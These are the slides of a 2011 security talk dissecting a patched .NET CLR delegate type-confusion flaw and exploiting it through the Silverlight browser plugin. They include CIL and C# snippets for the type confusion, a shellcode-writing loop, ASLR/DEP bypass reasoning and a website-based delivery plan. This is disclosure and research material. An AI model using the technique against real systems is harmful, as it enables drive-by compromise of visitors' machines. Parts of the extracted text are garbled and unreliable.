Silverlight: A Way to Surf .NET Holes
May 19th 2011
Introduction

What I am talking about

- Starting from an old (mid-2010) .NET Framework flaw:
  - How to exploit a vulnerability of this type
  - With Windows protections bypassed
- The Silverlight plugin offers a very interesting way to exploit .NET bug

Previous works

- SSTIC 2010: Auditing .NET applications (Nicolas Ruff, EADS)
- Jeroen Frijters (IKVM) showed a method to write exploit for .NET
- He also wrote about the vulnerability of this presentation

Agenda

- We will explain more in details how code execution is possible
- And why Windows protections are bypassed
- We will also show that another plugin than Flash Player can own Web browsers!
Introduction to Microsoft .NET
- .NET Framework
- Internal mechanisms

.NET: a package with a lot of leads!
- .NET Framework architecture
- The Framework layer
Roadmap 2/3

A .NET vulnerability dissection
- Presentation of the vulnerability
- Details and dangers of this type of vulnerability
- Proof of concept: type confusion

Exploitation of a .NET bug
- Exploitation technique
- Bypassing Windows protections: ASLR, DEP
Silverlight: a golden track!

- What is Silverlight?
- Why is attacking through Silverlight interesting?
- The results of the attack
What is Microsoft .NET?

.NET Framework

- Created by Microsoft in 2000, with a new language: C#
- Virtual Machine based on the Common Language Infrastructure (CLI)
- Set of development libraries

Architecture

- Source code compiled in Common Intermediate Language (CIL)
- CIL executed by the .NET VM: Common Language Runtime (CLR)
- The .NET application is in a managed execution environment:
  - Rights management
  - Start and management of the execution
  - Garbage collector
Introduction to Microsoft .NET

Internal mechanisms

Compilation
- cs.exe : C# => CIL
- vbc.exe : VB.NET => CIL
e tc.

Verification
- PE Verify :
  - CIL verification
  - Metadatas checking.

Interpretation
- JIT compiler
- CIL => native code

Compilation → Verification

Execution engine :
- execution management
- gargabe collector
- security management

Execution

Exception

Verification Exception

Execution Exception
Introduction to Microsoft .NET

### The bytecode verifier: PE Verifier

#### Features
- Embedded in the .NET VM
- Prevents bytecode attacks
- Proceeds before the execution of the class

#### Verifications
- Bytecode format
- Methods parameters: type, number, placement
- Methods return value
- Pointers usage
Manipulation of a method parameters

- Arguments and local variables manipulated by the stack
- Identified by an index

Valid C# code

```csharp
public void foo() {
    int a, b;

    a = 1712;
    b = a;
}
```
Modification of the generated CIL

Generated CIL code:

```
.maxstack 2
.locals init ( [0] int32 a, [1] int32 b )
ldc. i4 0x6B0
stloc.0
ldloc.0
stloc.1
```

Corrupted CIL code:

```
.maxstack 2
.locals init ( [0] int32 a, [1] int32 b )
ldc. i4 0x6B0
stloc.0
ldloc.3
stloc.1
```

The attack

- We corrupt the CIL code by modifying the index of ldloc.0 to ldloc.3
- The goal is to read somewhere in the stack we are not supposed to read
Pe Verifier failed

We use the peVerify.exe tool to check if our code is valid.

Microsoft (R) .NET Framework PE Verifier . Version 3.5.21022.8
Copyright (c) Microsoft Corporation . All rights reserved .

[ IL ]: Error: [ C:\...\ ataque1 . exe: ataque1 . Program::vuln ][ offset 0 x00000008 ]
Unrecognized local variable number .
1 Error Verifying ataque1 . exe

The CIL code does not pass the verifier

- The CIL verifier detects that an index is not correct !
- The application will never be executed
.NET: a package with a lot of leads!
The .NET Framework layers

**Native Layer**
- The Framework is based on Windows native DLLs
- `gdiplus.dll` and `gdi32.dll` for graphics management
- `winmm.dll` for sounds management
- A vulnerability in these libraries would compromise the Framework

**Framework Layer**
- The heart of the .NET Framework
- CLR: the virtual machine
  - PE Verifier
  - Interpreter: JIT compiler
  - Execution engine
The Framework layer

- CVE-2006-1510
  - CVE-2006-1511
  - Buffer overflow
  - ILASMA.EXE
  - ILDASMA.EXE

- CVE-2009-24997
  - Vulnerability in the CLR
  - BadHandling Interface

- CVE-2007-0041
  - Buffer overflow in the PE loader

IDE (Visual Studio, etc.)

Compilation
- ILASMA.EXE/ILDASMA.EXE: MSIL (dis)assembly
- csc.exe: C# => MSIL
- vb.exe: VB.NET => MSIL
- etc.

CLR: .NET VM

- Exception

PeVerify
- MSIL code verification
- metadatas check

Interpretation
- JIT compiler
- MSIL => Native code

Execution Engine
- manages the execution
- garbage collector
- security management
- etc.

Code verifier

- CVE-2007-0043
  - Buffer overflow in JIT compiler

- CVE-2009-0090
  - Vulnerability in the CLR
  - Bad pointer verification

- CVE-2009-0091
  - Vulnerability in the CLR
  - Bad type verification

- CVE-2010-1898
  - Vulnerability in the CLR
  - Virtual Method Delegate
  - Vulnerability

.NET class libraries
Dissection of a .NET vulnerability
The vulnerability

A .NET vulnerability dissection

Details & impact

- Found by Eamon Nerbonne, patched by MS in mid-2010
- .NET CLR compromised
- All .NET applications impacted
- Arbitrary code execution
A .NET vulnerability dissection

From the patch to the flaw 1/2

Analyse of Microsoft patch

- The bug is in mscorwks.dll
- This library is the heart of the VM
- The bug results of a bad management of virtual method delegates
- A delegate is a kind of function pointer in .NET

ComDelegate::BindToMethodInfo

1 instructions block removed by the patch!
We analysed the bug with the .NET Framework open source code (ROTOR).

**Conclusions**

- With .NET struct methods, the `this` pointer has to be adjusted by 4 bytes.
- Except if the method is virtual!
- Here is the bug: the JIT compiler adjusts the `this` pointer when it is not necessary.
The bug

In a virtual method call from a delegate
Delegate creation: before vulnerability exploitation

The delegate creation generates a new Foo object with an Union1 pointer.

public struct Foo { object obj; Union2 u2;
public Foo(object obj){
    this.obj = obj;
    this.u2 = null; }
... MethodInfo method = typeof(Foo).GetMethod("ToString"); MyDelegate d = (MyDelegate)Delegate.CreateDelegate(typeof(MyDelegate),
    new Foo(u1),method);
Delegate call: exploitation

When the delegate \( d \) is called, the virtual method `ToString` is called. And then the bug is triggered.

```csharp
public override string ToString() {
    Program.pUnion2 = this.u2;
    return null;
}
```

... 

\( d(); // delegate call: will call ToString above \)

Two different pointers (\( pUnion1 \) and \( pUnion2 \)) point to the same `Union1` object.
Type confusion 3/3

Conclusions

- Thanks to the misadjustment of the `this` pointer, we have two pointers of different types (Union1 and Union2) that point to the same memory location.
- Altering the fields of `pUnion1` will corrupt the fields of `pUnion2`.
- By manipulating an array, we can read and write anywhere in memory.
Here we go!

Exploitation of a .NET bug
Type confusion exploitation

- With the array field, we can read or write in memory
- Thanks to the memory arbitrary RW, we will access the Thread object fields directly
- By reading the field i, we read the address of the field object o

```
pUnion1 ← Same memory ─ pUnion2

<table>
<thead>
<tr>
<th>int i</th>
<th>object o</th>
</tr>
</thead>
<tbody>
<tr>
<td>int j</td>
<td>int [ ] arr</td>
</tr>
</tbody>
</table>
```

```
Thread

...  _methodPtr
@stub
...```

Thread object fields access directly due to type confusion.
Exploitation of a .NET bug

Exploitation technique 2/3

Memory read

First step, memory read: @stub

pUnion1.i = thread
pUnion1.j = pUnion1.i

pUnion1.j = pUnion2.arr[2] - 12

Thread object

pUnion2.arr[0] → ...

pUnion2.arr[1] → _methodPtr

pUnion2.arr[2] → @stub

...  ...

@stub

Executable Memory page

Memory read

- The Thread stub is in executable memory
- Our goal: erase the stub by our shellcode
- Now the array field of our pointer points to the stub
Exploitation technique 3/3

Memory write

Final step: write shellcode in memory

```csharp
for (int i = 0; i < shellcode.Length / 4; i++)
    u2.arr[1 + i] = BitConverter.ToInt32(shellcode, i * 4);
```

RWX memory (thread @stub)

```
pUnion2.arr[1+i]  
```

```
shellcode
```

Memory write

- Our shellcode is copied byte after byte in an executable memory area
- Thanks to the JIT compiler, this memory area is writable
And the Windows protections?

**Address space layout randomization (ASLR)**
- No hardcoded address in our exploit
- Just calls to .NET Framework API
- ASLR naturally bypassed

**Data Execution Prevention (DEP)**
- JIT compilation lets stub areas writable and executable
- Shellcode is copied into a Thread stub
- DEP bypassed by using an executable memory area
Silverlight: the golden track!
What is Silverlight?

**.NET Web plugin**

- Web browser plugin written in .NET
- Direct competitor to Flash player
- Executed on client side by its .NET virtual machine
Silverlight: a Microsoft Flash player!

Silverlight usage

A lot of Web sites are using Silverlight applications:

- Microsoft, Silverlight.net
- France television
- Complete list:
  http://www.realsoftwaredevelopment.com/top-10-silverlight-real-world-applications.html
Why is attacking through Silverlight interesting?

**Classic attack**
- Classic attack not interesting: local attack like a classic malware
- We need to send the malicious application to the victim and hope that he launches it

**Silverlight attack**
- Silverlight permits an attack through a Web browser
- Classic client side attack
- We just need to control a Web site which contains our malicious application
- Every client who loads the applications will be attacked
Silverlight: the golden track!

Demonstration!
Silverlight: the golden track!

### Exploit results

- The exploit bypassed ASLR and DEP with all browsers
- For most of browsers, Silverlight plugin is not sandboxed
- The exploit does not use heap spraying, it is **immediate** and **very reliable**

<table>
<thead>
<tr>
<th>Web browser</th>
<th>ASLR</th>
<th>DEP</th>
<th>Sandbox</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Explorer</td>
<td>BYPASSED</td>
<td>BYPASSED</td>
<td>SANDBOXED</td>
</tr>
<tr>
<td>Firefox</td>
<td>BYPASSED</td>
<td>BYPASSED</td>
<td>NOT SANDBOXED</td>
</tr>
<tr>
<td>Google Chrome</td>
<td>BYPASSED</td>
<td>BYPASSED</td>
<td>NOT SANDBOXED</td>
</tr>
</tbody>
</table>

### VUPWN exploitation!

- Chrome’s sandbox is bypassed by our exploit!!
- Our maybe it is because Silverlight plugin is not sandboxed! :)

Like flash plugin for example!
Conclusion

- .NET is a very huge component so there is a huge attack surface
- Very difficult to find this type of vulnerabilities and quite hard to exploit
- But bypasses Windows protections like ASLR and DEP
- Silverlight offers a way to pwn client via their browser
- The world is afraid of Flash player plugin but there is another one which can be dangerous
- Unlike most browsers exploit, we do not need heap spraying
- The exploit is reliable, the browser does not crash during the exploitation
- Silverlight plugin not sandboxed in Firefox 4 and Google Chrome!
¿Questions?